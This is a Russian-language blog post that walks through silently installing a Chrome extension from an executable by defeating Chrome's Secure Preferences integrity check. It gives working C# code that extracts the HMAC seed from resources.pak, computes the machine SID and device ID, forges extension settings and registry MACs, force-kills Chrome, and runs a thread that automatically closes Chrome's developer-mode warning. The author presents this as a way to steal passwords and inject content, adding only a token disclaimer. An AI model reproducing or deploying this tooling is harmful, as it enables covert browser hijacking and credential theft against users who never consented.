Доброго времени суток, дорогой читатель! Хром обновляется, но новых статей про то, как программно установить расширение в хром нет, помимо --load-extension — но это не наш вариант, ведь мы не ищем легких путей. Сегодня расскажу как действительно можно одним exe-шником получить всё: пароли, подменять контент, как можно совершить кражи и т.п. — но это не призыв к действию, а лишь статья для ознакомления. Весь сок под катом.
И так, что же позволяет нам делать расширение в режиме разработчика? Ну, как и обычное расширение оно может работать на всех сайтах, и, к примеру, тырить пароли, внедрять рекламу, и тп. Но расширение в режиме разработчика дает доступ еще к одной фиче, которая вроде не особо важна, но может стать полезной: у нас есть доступ к файловой системе. Да, мы собираемся запускать этот эксплоит из exe-файла и в принципе нам это не особо надо, а вдруг?
Анализируем файлы
И так, для начала можно посмотреть какие файлы будут отличатся после установки расширения, можем обнаружить, что это %appdata%\..\Local\Google\Chrome\User Data\<профиль>\Secure Preferences. Давайте скопируем содержимое, удалим расширение и восстановим копию — у тут бац! и расширение опять работатет. Глянув на ID можно увидеть, что меняются два значения с этим ключом: extensions.settings.id и protection.macs.extensions.settings.id — первый — настройки, второй — это какой-то хеш. Залезем в сорсы и увидим — это HMAC SHA256. Но от чего он его получает? Давайте залезем в отладчик, приаттачимся к хрому и подгрузим символы из
https://chromium-browser-symsrv.commondatastorage.googleapis.com
Насилуем хром
Воу! Находим файл pref_hash_calculator.cc, качаем, ставим брейк на
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Оп — получаем seed_ — ключ для HMAC'а, и так же узнаем, что он конкатит три строчки и берет результат как HMACSHA256(device_id + path + value, seed_). Хорошо, давайте посмотрим на наш seed_ — и тут нас ждет первое огорчение: это просто строчка «ChromeRegistryHashStoreValidationSeed» — спросите, что же с ней не так? А давайте посмотрим на результат вычисления, сравним полученный хеш и хеш в файле по данному пути — разочаровываемся, но нет! Ключевое слово в ключе «Registry», лезем в реестр, смотрим — и действительно, это ключ для хешей в реестре, он нам понадобится.
Дебажим, дебажим, и везде только этот ключ, что не так? Теперь давайте глянем какой же длины должен быть стандартный ключ для HMACSHA256? 64 байта, и скорее всего, это не строчка, а какой-то набор байт. Перебирать? Не успеем! Первое предположение — наш seed_ захардкожен в каждой версии хрома — давайте попробуем перебрать все варианты 64х последовательных байт в бинарниках и файлах хрома. Пишем простенький скрипт и примерно за час получаем первый результат: наш seed_ лежит в resources.pak. Давайте прогуглим структуру.
Version 4, у нас же — 5. Что-то не так, может, структура не поменялась? Но, нет. После некоторых попыток получаем, что структура такова: 4 байта version(5), 4 байта — кодировка?(1), 2 байта — количество записей, 2 байта непонятно что. Далее идут записи в формате: 2 байта — ID, 4 байта — смещение относительно начала файла. Ищем секцию длиной 64 байта — и да, находим её, это и есть наш seed_. Теперь давайте напишем функцию для поиска seed_ в resources.pak для файла 4й и 5й версии:
public static byte[] GetSeed(string resources_pak)
{
//Open stream
using (FileStream fs = File.OpenRead(resources_pak))
using (BinaryReader reader = new BinaryReader(fs))
{
// Read in all pairs.
//4 bytes - Version (Assume, that is 5 or 4)
int version = reader.ReadInt32();
int second_dword = reader.ReadInt32();
int count = 0;
if (version == 0x05)
{
count = (reader.ReadUInt16()) + 1;
reader.ReadUInt16();
}
else
{
count = second_dword;
//Skip useless byte
reader.ReadByte();
}
uint last_offset = (uint)(count) * 6 + (uint)fs.Position;
for (int i = 0; i < count; i++)
{
//Word: ID
uint id = (uint)reader.ReadInt16();
//DWord: Offset from file start
uint offset = (reader.ReadUInt32());
//Assume, that seed_ is 64 bytes long
if (offset - last_offset == 64)
{
//Save last position in file
long last = fs.Position;
//Go to section position
fs.Seek(last_offset, SeekOrigin.Begin);
//Allocate space
uint want = offset - last_offset;
byte[] u = new byte[want];
for (int o = 0; o < want; o++)
u[o] = reader.ReadByte();
//Return carret back
fs.Seek(last, SeekOrigin.Begin);
return u;
}
last_offset = offset;
}
}
return null;
}
Окей, давайте поменяем настройки, и попробуем подменить хеш — неудача. Первое, что можно найти в сорсах хрома — из значения удаляются все пустые объекты. Окей, сказано — сделано.
Опять неудача — нам надо генерировать так же такой же HMACSHA256 от protection.macs, путь в данном случае надо опустить. Супер! Получили. Но, мы совсем забыли про device_id — где же его взять? В старых версиях — это MachineID из некоторой сторонней библиотеки RLZ. В новых — просто SID ПК. Как его получить? Для второго варианта и новых версий хрома:
public static string GetSID()
{
StringBuilder sb = new StringBuilder(260);
int size = 260;
GetComputerName(sb, ref size);
byte[] Sid = null;
uint cbSid = 0;
string accountName = sb.ToString();
StringBuilder referencedDomainName = new StringBuilder();
uint cchReferencedDomainName = (uint)referencedDomainName.Capacity;
SID_NAME_USE sidUse;
int err = NO_ERROR;
if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
{
err = Marshal.GetLastWin32Error();
if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS)
{
Sid = new byte[cbSid];
referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
err = NO_ERROR;
if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
err = Marshal.GetLastWin32Error();
}
}
else
{
// Consider throwing an exception since no result was found
}
if (err == 0)
{
if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid))
{
err = Marshal.GetLastWin32Error();
}
else
{
string sidString = Marshal.PtrToStringAuto(ptrSid);
LocalFree(ptrSid);
return sidString;
}
}
return null;
}
И, для старого варианта:
public static string GetMachineId(string sid)
{
string dir = Environment.SystemDirectory;
dir = dir.Substring(0, dir.IndexOf("\\") + 1);
StringBuilder volname = new StringBuilder(261);
StringBuilder fsname = new StringBuilder(261);
uint sernum, maxlen;
FileSystemFeature flags;
if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity))
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
byte[] sid_str = (Hash(sid));
byte[] bts = new byte[sid_str.Length + 4];
for (int i = 0; i < sid_str.Length; i++)
bts[i] = sid_str[i];
for (int i = 0; i < sizeof(int); i++)
{
int shift_bits = 8 * (sizeof(int) - i - 1);
bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF);
}
byte b = Crc8.Gen(bts);
var sb = new StringBuilder(bts.Length + 1);
foreach (byte bb in bts)
sb.Append(bb.ToString("X2"));
sb.Append(b.ToString("X2"));
return sb.ToString();
}
И так, остается подшаманить над настройками и сохранить файл, но при этом закрыв хром:
public static void Install()
{
string path = Unzip();
string id = "";
string flags = "" + ((1 << 7) | (1 << 2));
string loc = "4";
id = "dblokgoogmhjemeebajnamjdmloolcjd";
string setting = "тут ваши настройки";
preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C"));
preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))));
string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings";
string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)));
Registry.SetValue(abc, id, reg_key);
string macs = GetSecure("protection.macs");
preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs));
Process process = new Process();
// Stop the process from opening a new window
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;
// Setup executable and parameters
process.StartInfo.FileName = @"taskkill.exe";
process.StartInfo.Arguments = "/im chrome.exe /f";
// Go
process.Start();
process.WaitForExit();
Thread.Sleep(150);
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences);
}
Так же, заметим, что теперь при открытии браузера открывается окошечко «Отключение расширений в режиме разработчика» — как его закрыть — уже выбор каждого. Можно как я оставить поток после себя, который будет закрывать это окошечко через WinAPI:
public static void CheckWindows()
{
while (true)
{
Process[] pcs = Process.GetProcessesByName("chrome");
if (pcs.Length > 0)
{
List<IntPtr> ww = GetChildWindows(IntPtr.Zero);
foreach (var hwnd in ww)
{
try
{
uint pidd = 0;
GetWindowThreadProcessId(hwnd, out pidd);
IntPtr pid = (IntPtr)pidd;
IntPtr hProcess = OpenProcess(0x0410, false, pidd);
StringBuilder text = new StringBuilder(1000);
GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity);
CloseHandle(hProcess);
if (!text.ToString().EndsWith("chrome.exe"))
continue;
const int nChars = 256;
StringBuilder Buff = new StringBuilder(nChars);
if (GetWindowText(hwnd, Buff, nChars) > 0)
{
string name = Buff.ToString();
if (names.Contains(name))
SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
Thread.Sleep(1);
}
catch
{
}
Thread.Sleep(1);
}
}
else Thread.Sleep(10);
}
}
Удачи и этичного хакинга! Кто знает как провернуть такое же с Яндекс Браузером — было бы очень интересно узнать, уже неделю пытаюсь расковырять, не получается.